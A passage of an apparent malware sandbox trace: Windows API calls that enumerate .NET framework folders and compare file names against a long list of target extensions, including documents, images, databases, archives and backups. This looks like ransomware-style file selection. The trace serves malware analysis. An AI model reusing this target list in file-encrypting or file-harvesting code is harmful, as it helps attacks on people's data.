dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Synchronization Services", cAlternateFileName="MID7C0~1")) returned 1 [0265.313] RtlpDeCommitFreeBlock () [0265.313] FindNextFileW (in: hFindFile=0x63f0c8, lpFindFileData=0x35ef58c | out: lpFindFileData=0x35ef58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a3248d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v1.0", cAlternateFileName="")) returned 0 [0265.313] FindClose (in: hFindFile=0x63f0c8 | out: hFindFile=0x63f0c8) returned 1 [0265.313] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x45bc178 | out: hHeap=0x540000) returned 1 [0265.313] FindNextFileW (in: hFindFile=0x63ee88, lpFindFileData=0x35ef808 | out: lpFindFileData=0x35ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADO.NET", cAlternateFileName="")) returned 0 [0265.313] FindClose (in: hFindFile=0x63ee88 | out: hFindFile=0x63ee88) returned 1 [0265.313] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4578138 | out: hHeap=0x540000) returned 1 [0265.313] FindNextFileW (in: hFindFile=0x63ed48, lpFindFileData=0x35efa84 | out: lpFindFileData=0x35efa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSBuild", cAlternateFileName="")) returned 1 [0265.315] RtlpDeCommitFreeBlock () [0265.315] FindNextFileW (in: hFindFile=0x63eec8, lpFindFileData=0x35ef310 | out: lpFindFileData=0x35ef310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1 [0265.315] RtlpDeCommitFreeBlock () [0265.315] FindNextFileW (in: hFindFile=0x63eec8, lpFindFileData=0x35ef310 | out: lpFindFileData=0x35ef310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 0 [0265.315] FindClose (in: hFindFile=0x63eec8 | out: hFindFile=0x63eec8) returned 1 [0265.315] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x45cc180 | out: hHeap=0x540000) returned 1 [0265.315] FindNextFileW (in: hFindFile=0x63f0c8, lpFindFileData=0x35ef58c | out: lpFindFileData=0x35ef58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Workflow Foundation", cAlternateFileName="WINDOW~1")) returned 0 [0265.315] FindClose (in: hFindFile=0x63f0c8 | out: hFindFile=0x63f0c8) returned 1 [0265.315] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x45bc178 | out: hHeap=0x540000) returned 1 [0265.315] FindNextFileW (in: hFindFile=0x63ee88, lpFindFileData=0x35ef808 | out: lpFindFileData=0x35ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0 [0265.315] FindClose (in: hFindFile=0x63ee88 | out: hFindFile=0x63ee88) returned 1 [0265.316] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4578138 | out: hHeap=0x540000) returned 1 [0265.316] FindNextFileW (in: hFindFile=0x63ed48, lpFindFileData=0x35efa84 | out: lpFindFileData=0x35efa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reference Assemblies", cAlternateFileName="REFERE~1")) returned 1 [0265.406] RtlpDeCommitFreeBlock () [0265.407] FindNextFileW (in: hFindFile=0x63f048, lpFindFileData=0x35ef094 | out: lpFindFileData=0x35ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9d79cd4, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9d79cd4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa9d9fe34, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x62000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.IdentityModel.dll", cAlternateFileName="")) returned 1 [0265.409] lstrlenW (lpString="System.IdentityModel.dll") returned 24 [0265.409] lstrlenW (lpString=".1cd") returned 4 [0265.409] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0265.415] lstrlenW (lpString=".3ds") returned 4 [0265.416] lstrcmpiW (lpString1=".3ds", lpString2=".dll") returned -1 [0265.420] lstrlenW (lpString=".3fr") returned 4 [0265.426] lstrcmpiW (lpString1=".3fr", lpString2=".dll") returned -1 [0265.428] lstrlenW (lpString=".3g2") returned 4 [0265.430] lstrcmpiW (lpString1=".3g2", lpString2=".dll") returned -1 [0265.432] lstrlenW (lpString=".3gp") returned 4 [0265.433] lstrcmpiW (lpString1=".3gp", lpString2=".dll") returned -1 [0265.433] lstrlenW (lpString=".7z") returned 3 [0265.433] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0265.433] lstrlenW (lpString=".accda") returned 6 [0265.433] lstrcmpiW (lpString1=".accda", lpString2="el.dll") returned -1 [0265.433] lstrlenW (lpString=".accdb") returned 6 [0265.433] lstrcmpiW (lpString1=".accdb", lpString2="el.dll") returned -1 [0265.434] lstrlenW (lpString=".accdc") returned 6 [0265.434] lstrcmpiW (lpString1=".accdc", lpString2="el.dll") returned -1 [0265.434] lstrlenW (lpString=".accde") returned 6 [0265.434] lstrcmpiW (lpString1=".accde", lpString2="el.dll") returned -1 [0265.434] lstrlenW (lpString=".accdt") returned 6 [0265.434] lstrcmpiW (lpString1=".accdt", lpString2="el.dll") returned -1 [0265.434] lstrlenW (lpString=".accdw") returned 6 [0265.434] lstrcmpiW (lpString1=".accdw", lpString2="el.dll") returned -1 [0265.434] lstrlenW (lpString=".adb") returned 4 [0265.434] lstrcmpiW (lpString1=".adb", lpString2=".dll") returned -1 [0265.434] lstrlenW (lpString=".adp") returned 4 [0265.434] lstrcmpiW (lpString1=".adp", lpString2=".dll") returned -1 [0265.434] lstrlenW (lpString=".ai") returned 3 [0265.434] lstrcmpiW (lpString1=".ai", lpString2="dll") returned -1 [0265.434] lstrlenW (lpString=".ai3") returned 4 [0265.434] lstrcmpiW (lpString1=".ai3", lpString2=".dll") returned -1 [0265.434] lstrlenW (lpString=".ai4") returned 4 [0265.434] lstrcmpiW (lpString1=".ai4", lpString2=".dll") returned -1 [0265.434] lstrlenW (lpString=".ai5") returned 4 [0265.434] lstrcmpiW (lpString1=".ai5", lpString2=".dll") returned -1 [0265.434] lstrlenW (lpString=".ai6") returned 4 [0265.434] lstrcmpiW (lpString1=".ai6", lpString2=".dll") returned -1 [0265.434] lstrlenW (lpString=".ai7") returned 4 [0265.434] lstrcmpiW (lpString1=".ai7", lpString2=".dll") returned -1 [0265.434] lstrlenW (lpString=".ai8") returned 4 [0265.434] lstrcmpiW (lpString1=".ai8", lpString2=".dll") returned -1 [0265.434] lstrlenW (lpString=".anim") returned 5 [0265.434] lstrcmpiW (lpString1=".anim", lpString2="l.dll") returned -1 [0265.434] lstrlenW (lpString=".arw") returned 4 [0265.434] lstrcmpiW (lpString1=".arw", lpString2=".dll") returned -1 [0265.434] lstrlenW (lpString=".as") returned 3 [0265.434] lstrcmpiW (lpString1=".as", lpString2="dll") returned -1 [0265.434] lstrlenW (lpString=".asa") returned 4 [0265.434] lstrcmpiW (lpString1=".asa", lpString2=".dll") returned -1 [0265.434] lstrlenW (lpString=".asc") returned 4 [0265.434] lstrcmpiW (lpString1=".asc", lpString2=".dll") returned -1 [0265.434] lstrlenW (lpString=".ascx") returned 5 [0265.434] lstrcmpiW (lpString1=".ascx", lpString2="l.dll") returned -1 [0265.435] lstrlenW (lpString=".asm") returned 4 [0265.435] lstrcmpiW (lpString1=".asm", lpString2=".dll") returned -1 [0265.435] lstrlenW (lpString=".asmx") returned 5 [0265.435] lstrcmpiW (lpString1=".asmx", lpString2="l.dll") returned -1 [0265.435] lstrlenW (lpString=".asp") returned 4 [0265.435] lstrcmpiW (lpString1=".asp", lpString2=".dll") returned -1 [0265.435] lstrlenW (lpString=".aspx") returned 5 [0265.435] lstrcmpiW (lpString1=".aspx", lpString2="l.dll") returned -1 [0265.435] lstrlenW (lpString=".asr") returned 4 [0265.435] lstrcmpiW (lpString1=".asr", lpString2=".dll") returned -1 [0265.435] lstrlenW (lpString=".asx") returned 4 [0265.435] lstrcmpiW (lpString1=".asx", lpString2=".dll") returned -1 [0265.435] lstrlenW (lpString=".avi") returned 4 [0265.435] lstrcmpiW (lpString1=".avi", lpString2=".dll") returned -1 [0265.435] lstrlenW (lpString=".avs") returned 4 [0265.435] lstrcmpiW (lpString1=".avs", lpString2=".dll") returned -1 [0265.435] lstrlenW (lpString=".backup") returned 7 [0265.435] lstrcmpiW (lpString1=".backup", lpString2="del.dll") returned -1 [0265.435] lstrlenW (lpString=".bak") returned 4 [0265.435] lstrcmpiW (lpString1=".bak", lpString2=".dll") returned -1 [0265.435] lstrlenW (lpString=".bay") returned 4 [0265.435] lstrcmpiW (lpString1=".bay", lpString2=".dll") returned -1 [0265.435] lstrlenW (lpString=".bd") returned 3 [0265.435] lstrcmpiW (lpString1=".bd", lpString2="dll") returned -1 [0265.435] lstrlenW (lpString=".bin") returned 4 [0265.435] lstrcmpiW (lpString1=".bin", lpString2=".dll") returned -1 [0265.435] lstrlenW (lpString=".bmp") returned 4 [0265.435] lstrcmpiW (lpString1=".bmp", lpString2=".dll") returned -1 [0265.435] lstrlenW (lpString=".bz2") returned 4 [0265.435] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0265.435] lstrlenW (lpString=".c") returned 2 [0265.435] lstrcmpiW (lpString1=".c", lpString2="ll") returned -1 [0265.435] lstrlenW (lpString=".cdr") returned 4 [0265.435] lstrcmpiW (lpString1=".cdr", lpString2=".dll") returned -1 [0265.435] lstrlenW (lpString=".cer") returned 4 [0265.435] lstrcmpiW (lpString1=".cer", lpString2=".dll") returned -1 [0265.436] lstrlenW (lpString=".cf") returned 3 [0265.436] lstrcmpiW (lpString1=".cf", lpString2="dll") returned -1 [0265.436] lstrlenW (lpString=".cfc") returned 4 [0265.436] lstrcmpiW (lpString1=".cfc", lpString2=".dll") returned -1 [0265.436] lstrlenW (lpString=".cfm") returned 4 [0265.436] lstrcmpiW (lpString1=".cfm", lpString2=".dll") returned -1 [0265.436] lstrlenW (lpString=".cfml") returned 5 [0265.436] lstrcmpiW (lpString1=".cfml", lpString2="l.dll") returned -1 [0265.436] lstrlenW (lpString=".cfu") returned 4 [0265.436] lstrcmpiW (lpString1=".cfu", lpString2=".dll") returned -1 [0265.436] lstrlenW (lpString=".chm") returned 4 [0265.436] lstrcmpiW (lpString1=".chm", lpString2=".dll") returned -1 [0265.436] lstrlenW (lpString=".cin") returned 4 [0265.436] lstrcmpiW (lpString1=".cin", lpString2=".dll") returned -1 [0265.436] lstrlenW (lpString=".class") returned 6 [0265.436] lstrcmpiW (lpString1=".class", lpString2="el.dll") returned -1 [0265.436] lstrlenW (lpString=".clx") returned 4 [0265.436] lstrcmpiW (lpString1=".clx", lpString2=".dll") returned -1 [0265.436] lstrlenW (lpString=".config") returned 7 [0265.436] lstrcmpiW (lpString1=".config", lpString2="del.dll") returned -1 [0265.436] lstrlenW (lpString=".cpp") returned 4 [0265.436] lstrcmpiW (lpString1=".cpp", lpString2=".dll") returned -1 [0265.436] lstrlenW (lpString=".cr2") returned 4 [0265.436] lstrcmpiW (lpString1=".cr2", lpString2=".dll") returned -1 [0265.436] lstrlenW (lpString=".crt") returned 4 [0265.436] lstrcmpiW (lpString1=".crt", lpString2=".dll") returned -1 [0265.436] lstrlenW (lpString=".crw") returned 4 [0265.436] lstrcmpiW (lpString1=".crw", lpString2=".dll") returned -1 [0265.436] lstrlenW (lpString=".cs") returned 3 [0265.436] lstrcmpiW (lpString1=".cs", lpString2="dll") returned -1 [0265.436] lstrlenW (lpString=".css") returned 4 [0265.436] lstrcmpiW (lpString1=".css", lpString2=".dll") returned -1 [0265.436] lstrlenW (lpString=".csv") returned 4 [0265.436] lstrcmpiW (lpString1=".csv", lpString2=".dll") returned -1 [0265.436] lstrlenW (lpString=".cub") returned 4 [0265.436] lstrcmpiW (lpString1=".cub", lpString2=".dll") returned -1 [0265.436] lstrlenW (lpString=".dae") returned 4 [0265.436] lstrcmpiW (lpString1=".dae", lpString2=".dll") returned -1 [0265.437] lstrlenW (lpString=".dat") returned 4 [0265.437] lstrcmpiW (lpString1=".dat", lpString2=".dll") returned -1 [0265.437] lstrlenW (lpString=".db") returned 3 [0265.437] lstrcmpiW (lpString1=".db", lpString2="dll") returned -1 [0265.437] lstrlenW (lpString=".dbf") returned 4 [0265.437] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0265.437] lstrlenW (lpString=".dbx") returned 4 [0265.437] lstrcmpiW (lpString1=".dbx", lpString2=".dll") returned -1 [0265.437] lstrlenW (lpString=".dc3") returned 4 [0265.437] lstrcmpiW (lpString1=".dc3", lpString2=".dll") returned -1 [0265.437] lstrlenW (lpString=".dcm") returned 4 [0265.437] lstrcmpiW (lpString1=".dcm", lpString2=".dll") returned -1 [0265.437] lstrlenW (lpString=".dcr") returned 4 [0265.437] lstrcmpiW (lpString1=".dcr", lpString2=".dll") returned -1 [0265.437] lstrlenW (lpString=".der") returned 4 [0265.437] lstrcmpiW (lpString1=".der", lpString2=".dll") returned -1 [0265.437] lstrlenW (lpString=".dib") returned 4 [0265.437] lstrcmpiW (lpString1=".dib", lpString2=".dll") returned -1 [0265.437] lstrlenW (lpString=".dic") returned 4 [0265.437] lstrcmpiW (lpString1=".dic", lpString2=".dll") returned -1 [0265.437] lstrlenW (lpString=".dif") returned 4 [0265.437] lstrcmpiW (lpString1=".dif", lpString2=".dll") returned -1 [0265.437] lstrlenW (lpString=".divx") returned 5 [0265.437] lstrcmpiW (lpString1=".divx", lpString2="l.dll") returned -1 [0265.437] lstrlenW (lpString=".djvu") returned 5 [0265.437] lstrcmpiW (lpString1=".djvu", lpString2="l.dll") returned -1 [0265.437] lstrlenW (lpString=".dng") returned 4 [0265.437] lstrcmpiW (lpString1=".dng", lpString2=".dll") returned 1 [0265.437] lstrlenW (lpString=".doc") returned 4 [0265.437] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0265.437] lstrlenW (lpString=".docm") returned 5 [0265.437] lstrcmpiW (lpString1=".docm", lpString2="l.dll") returned -1 [0265.437] lstrlenW (lpString=".docx") returned 5 [0265.437] lstrcmpiW (lpString1=".docx", lpString2="l.dll") returned -1 [0265.437] lstrlenW (lpString=".dot") returned 4 [0265.437] lstrcmpiW (lpString1=".dot", lpString2=".dll") returned 1 [0265.437] lstrlenW (lpString=".dotm") returned 5 [0265.438] lstrcmpiW (lpString1=".dotm", lpString2="l.dll") returned -1 [0265.438] lstrlenW (lpString=".dotx") returned 5 [0265.438] lstrcmpiW (lpString1=".dotx", lpString2="l.dll") returned -1 [0265.438] lstrlenW (lpString=".dpx") returned 4 [0265.438] lstrcmpiW (lpString1=".dpx", lpString2=".dll") returned 1 [0265.438] lstrlenW (lpString=".dqy") returned 4 [0265.438] lstrcmpiW (lpString1=".dqy", lpString2=".dll") returned 1 [0265.438] lstrlenW (lpString=".dsn") returned 4 [0265.438] lstrcmpiW (lpString1=".dsn", lpString2=".dll") returned 1 [0265.438] lstrlenW (lpString=".dt") returned 3 [0265.438] lstrcmpiW (lpString1=".dt", lpString2="dll") returned -1 [0265.438] lstrlenW (lpString=".dtd") returned 4 [0265.438] lstrcmpiW (lpString1=".dtd", lpString2=".dll") returned 1 [0265.438] lstrlenW (lpString=".dwg") returned 4 [0265.438] lstrcmpiW (lpString1=".dwg", lpString2=".dll") returned 1 [0265.438] lstrlenW (lpString=".dwt") returned 4 [0265.438] lstrcmpiW (lpString1=".dwt", lpString2=".dll") returned 1 [0265.438] lstrlenW (lpString=".dx") returned 3 [0265.438] lstrcmpiW (lpString1=".dx", lpString2="dll") returned -1 [0265.438] lstrlenW (lpString=".dxf") returned 4 [0265.438] lstrcmpiW (lpString1=".dxf", lpString2=".dll") returned 1 [0265.438] lstrlenW (lpString=".edml") returned 5 [0265.438] lstrcmpiW (lpString1=".edml", lpString2="l.dll") returned -1 [0265.438] lstrlenW (lpString=".efd") returned 4 [0265.438] lstrcmpiW (lpString1=".efd", lpString2=".dll") returned 1 [0265.438] lstrlenW (lpString=".elf") returned 4 [0265.438] lstrcmpiW (lpString1=".elf", lpString2=".dll") returned 1 [0265.438] lstrlenW (lpString=".emf") returned 4 [0265.438] lstrcmpiW (lpString1=".emf", lpString2=".dll") returned 1 [0265.438] lstrlenW (lpString=".emz") returned 4 [0265.438] lstrcmpiW (lpString1=".emz", lpString2=".dll") returned 1 [0265.438] lstrlenW (lpString=".epf") returned 4 [0265.438] lstrcmpiW (lpString1=".epf", lpString2=".dll") returned 1 [0265.438] lstrlenW (lpString=".eps") returned 4 [0265.438] lstrcmpiW (lpString1=".eps", lpString2=".dll") returned 1 [0265.438] lstrlenW (lpString=".epsf") returned 5 [0265.438] lstrcmpiW (lpString1=".epsf", lpString2="l.dll") returned -1 [0265.439] lstrlenW (lpString=".epsp") returned 5 [0265.439] lstrcmpiW (lpString1=".epsp", lpString2="l.dll") returned -1 [0265.439] lstrlenW (lpString=".erf") returned 4 [0265.439] lstrcmpiW (lpString1=".erf", lpString2=".dll") returned 1 [0265.439] lstrlenW (lpString=".exr") returned 4 [0265.439] lstrcmpiW (lpString1=".exr", lpString2=".dll") returned 1 [0265.439] lstrlenW (lpString=".f4v") returned 4 [0265.439] lstrcmpiW (lpString1=".f4v", lpString2=".dll") returned 1 [0265.439] lstrlenW (lpString=".fido") returned 5 [0265.439] lstrcmpiW (lpString1=".fido", lpString2="l.dll") returned -1 [0265.439] lstrlenW (lpString=".flm") returned 4 [0265.439] lstrcmpiW (lpString1=".flm", lpString2=".dll") returned 1 [0265.439] lstrlenW (lpString=".flv") returned 4 [0265.439] lstrcmpiW (lpString1=".flv", lpString2=".dll") returned 1 [0265.439] lstrlenW (lpString=".frm") returned 4 [0265.439] lstrcmpiW (lpString1=".frm", lpString2=".dll") returned 1 [0265.439] lstrlenW (lpString=".fxg") returned 4 [0265.439] lstrcmpiW (lpString1=".fxg", lpString2=".dll") returned 1 [0265.439] lstrlenW (lpString=".geo") returned 4 [0265.439] lstrcmpiW (lpString1=".geo", lpString2=".dll") returned 1 [0265.439] lstrlenW (lpString=".gif") returned 4 [0265.439] lstrcmpiW (lpString1=".gif", lpString2=".dll") returned 1 [0265.439] lstrlenW (lpString=".grs") returned 4 [0265.439] lstrcmpiW (lpString1=".grs", lpString2=".dll") returned 1 [0265.439] lstrlenW (lpString=".gz") returned 3 [0265.439] lstrcmpiW (lpString1=".gz", lpString2="dll") returned -1 [0265.439] lstrlenW (lpString=".h") returned 2 [0265.439] lstrcmpiW (lpString1=".h", lpString2="ll") returned -1 [0265.439] lstrlenW (lpString=".hdr") returned 4 [0265.439] lstrcmpiW (lpString1=".hdr", lpString2=".dll") returned 1 [0265.439] lstrlenW (lpString=".hpp") returned 4 [0265.439] lstrcmpiW (lpString1=".hpp", lpString2=".dll") returned 1 [0265.439] lstrlenW (lpString=".hta") returned 4 [0265.439] lstrcmpiW (lpString1=".hta", lpString2=".dll") returned 1 [0265.439] lstrlenW (lpString=".htc") returned 4 [0265.439] lstrcmpiW (lpString1=".htc", lpString2=".dll") returned 1 [0265.440] lstrlenW (lpString=".htm") returned 4 [0265.440] lstrcmpiW (lpString1=".htm", lpString2=".dll") returned 1 [0265.440] lstrlenW (lpString=".html") returned 5 [0265.440] lstrcmpiW (lpString1=".html", lpString2="l.dll") returned -1 [0265.440] lstrlenW (lpString=".icb") returned 4 [0265.440] lstrcmpiW (lpString1=".icb", lpString2=".dll") returned 1 [0265.440] lstrlenW (lpString=".ics") returned 4 [0265.440] lstrcmpiW (lpString1=".ics", lpString2=".dll") returned 1 [0265.440] lstrlenW (lpString=".iff") returned 4 [0265.440] lstrcmpiW (lpString1=".iff", lpString2=".dll") returned 1 [0265.440] lstrlenW (lpString=".inc") returned 4 [0265.440] lstrcmpiW (lpString1=".inc", lpString2=".dll") returned 1 [0265.440] lstrlenW (lpString=".indd") returned 5 [0265.440] lstrcmpiW (lpString1=".indd", lpString2="l.dll") returned -1 [0265.440] lstrlenW (lpString=".ini") returned 4 [0265.440] lstrcmpiW (lpString1=".ini", lpString2=".dll") returned 1 [0265.440] lstrlenW (lpString=".iqy") returned 4 [0265.440] lstrcmpiW (lpString1=".iqy", lpString2=".dll") returned 1 [0265.440] lstrlenW (lpString=".j2c") returned 4 [0265.440] lstrcmpiW (lpString1=".j2c", lpString2=".dll") returned 1 [0265.440] lstrlenW (lpString=".j2k") returned 4 [0265.440] lstrcmpiW (lpString1=".j2k", lpString2=".dll") returned 1 [0265.440] lstrlenW (lpString=".java") returned 5 [0265.440] lstrcmpiW (lpString1=".java", lpString2="l.dll") returned -1 [0265.440] lstrlenW (lpString=".jp2") returned 4 [0265.440] lstrcmpiW (lpString1=".jp2", lpString2=".dll") returned 1 [0265.440] lstrlenW (lpString=".jpc") returned 4 [0265.440] lstrcmpiW (lpString1=".jpc", lpString2=".dll") returned 1 [0265.440] lstrlenW (lpString=".jpe") returned 4 [0265.440] lstrcmpiW (lpString1=".jpe", lpString2=".dll") returned 1 [0265.440] lstrlenW (lpString=".jpeg") returned 5 [0265.440] lstrcmpiW (lpString1=".jpeg", lpString2="l.dll") returned -1 [0265.440] lstrlenW (lpString=".jpf") returned 4 [0265.440] lstrcmpiW (lpString1=".jpf", lpString2=".dll") returned 1 [0265.440] lstrlenW (lpString=".jpg") returned 4 [0265.440] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0265.440] lstrlenW (lpString=".jpx") returned 4 [0265.441] lstrcmpiW (lpString1=".jpx", lpString2=".dll") returned 1 [0265.441] lstrlenW (lpString=".js") returned 3 [0265.441] lstrcmpiW (lpString1=".js", lpString2="dll") returned -1 [0265.441] lstrlenW (lpString=".jsf") returned 4 [0265.441] lstrcmpiW (lpString1=".jsf", lpString2=".dll") returned 1 [0265.441] lstrlenW (lpString=".json") returned 5 [0265.441] lstrcmpiW (lpString1=".json", lpString2="l.dll") returned -1 [0265.441] lstrlenW (lpString=".jsp") returned 4 [0265.441] lstrcmpiW (lpString1=".jsp", lpString2=".dll") returned 1 [0265.441] lstrlenW (lpString=".kdc") returned 4 [0265.441] lstrcmpiW (lpString1=".kdc", lpString2=".dll") returned 1 [0265.441] lstrlenW (lpString=".kmz") returned 4 [0265.441] lstrcmpiW (lpString1=".kmz", lpString2=".dll") returned 1 [0265.441] lstrlenW (lpString=".kwm") returned 4 [0265.441] lstrcmpiW (lpString1=".kwm", lpString2=".dll") returned 1 [0265.441] lstrlenW (lpString=".lasso") returned 6 [0265.441] lstrcmpiW (lpString1=".lasso", lpString2="el.dll") returned -1 [0265.441] lstrlenW (lpString=".lbi") returned 4 [0265.441] lstrcmpiW (lpString1=".lbi", lpString2=".dll") returned 1 [0265.441] lstrlenW (lpString=".lgf") returned 4 [0265.441] lstrcmpiW (lpString1=".lgf", lpString2=".dll") returned 1 [0265.441] lstrlenW (lpString=".lgp") returned 4 [0265.441] lstrcmpiW (lpString1=".lgp", lpString2=".dll") returned 1 [0265.441] lstrlenW (lpString=".log") returned 4 [0265.441] lstrcmpiW (lpString1=".log", lpString2=".dll") returned 1 [0265.441] lstrlenW (lpString=".m1v") returned 4 [0265.441] lstrcmpiW (lpString1=".m1v", lpString2=".dll") returned 1 [0265.441] lstrlenW (lpString=".m4a") returned 4 [0265.441] lstrcmpiW (lpString1=".m4a", lpString2=".dll") returned 1 [0265.441] lstrlenW (lpString=".m4v") returned 4 [0265.441] lstrcmpiW (lpString1=".m4v", lpString2=".dll") returned 1 [0265.441] lstrlenW (lpString=".max") returned 4 [0265.441] lstrcmpiW (lpString1=".max", lpString2=".dll") returned 1 [0265.441] lstrlenW (lpString=".md") returned 3 [0265.441] lstrcmpiW (lpString1=".md", lpString2="dll") returned -1 [0265.441] lstrlenW (lpString=".mda") returned 4 [0265.441] lstrcmpiW (lpString1=".mda", lpString2=".dll") returned 1 [0265.441] lstrlenW (lpString=".mdb") returned 4 [0265.442] lstrcmpiW (lpString1=".mdb", lpString2=".dll") returned 1 [0265.442] lstrlenW (lpString=".mde") returned 4 [0265.442] lstrcmpiW (lpString1=".mde", lpString2=".dll") returned 1 [0265.442] lstrlenW (lpString=".mdf") returned 4 [0265.442] lstrcmpiW (lpString1=".mdf", lpString2=".dll") returned 1 [0265.442] lstrlenW (lpString=".mdw") returned 4 [0265.442] lstrcmpiW (lpString1=".mdw", lpString2=".dll") returned 1 [0265.442] lstrlenW (lpString=".mef") returned 4 [0265.442] lstrcmpiW (lpString1=".mef", lpString2=".dll") returned 1 [0265.442] lstrlenW (lpString=".mft") returned 4 [0265.442] lstrcmpiW (lpString1=".mft", lpString2=".dll") returned 1 [0265.442] lstrlenW (lpString=".mfw") returned 4 [0265.442] lstrcmpiW (lpString1=".mfw", lpString2=".dll") returned 1 [0265.442] lstrlenW (lpString=".mht") returned 4 [0265.442] lstrcmpiW (lpString1=".mht", lpString2=".dll") returned 1 [0265.442] lstrlenW (lpString=".mhtml") returned 6 [0265.442] lstrcmpiW (lpString1=".mhtml", lpString2="el.dll") returned -1 [0265.442] lstrlenW (lpString=".mka") returned 4 [0265.442] lstrcmpiW (lpString1=".mka", lpString2=".dll") returned 1 [0265.442] lstrlenW (lpString=".mkidx") returned 6 [0265.442] lstrcmpiW (lpString1=".mkidx", lpString2="el.dll") returned -1 [0265.442] lstrlenW (lpString=".mkv") returned 4 [0265.442] lstrcmpiW (lpString1=".mkv", lpString2=".dll") returned 1 [0265.442] lstrlenW (lpString=".mos") returned 4 [0265.442] lstrcmpiW (lpString1=".mos", lpString2=".dll") returned 1 [0265.442] lstrlenW (lpString=".mov") returned 4 [0265.442] lstrcmpiW (lpString1=".mov", lpString2=".dll") returned 1 [0265.442] lstrlenW (lpString=".mp3") returned 4 [0265.442] lstrcmpiW (lpString1=".mp3", lpString2=".dll") returned 1 [0265.442] lstrlenW (lpString=".mp4") returned 4 [0265.442] lstrcmpiW (lpString1=".mp4", lpString2=".dll") returned 1 [0265.442] lstrlenW (lpString=".mpeg") returned 5 [0265.442] lstrcmpiW (lpString1=".mpeg", lpString2="l.dll") returned -1 [0265.442] lstrlenW (lpString=".mpg") returned 4 [0265.442] lstrcmpiW (lpString1=".mpg", lpString2=".dll") returned 1 [0265.442] lstrlenW (lpString=".mpv") returned 4 [0265.443] lstrcmpiW (lpString1=".mpv", lpString2=".dll") returned 1 [0265.443] lstrlenW (lpString=".mrw") returned 4 [0265.443] lstrcmpiW (lpString1=".mrw", lpString2=".dll") returned 1 [0265.443] 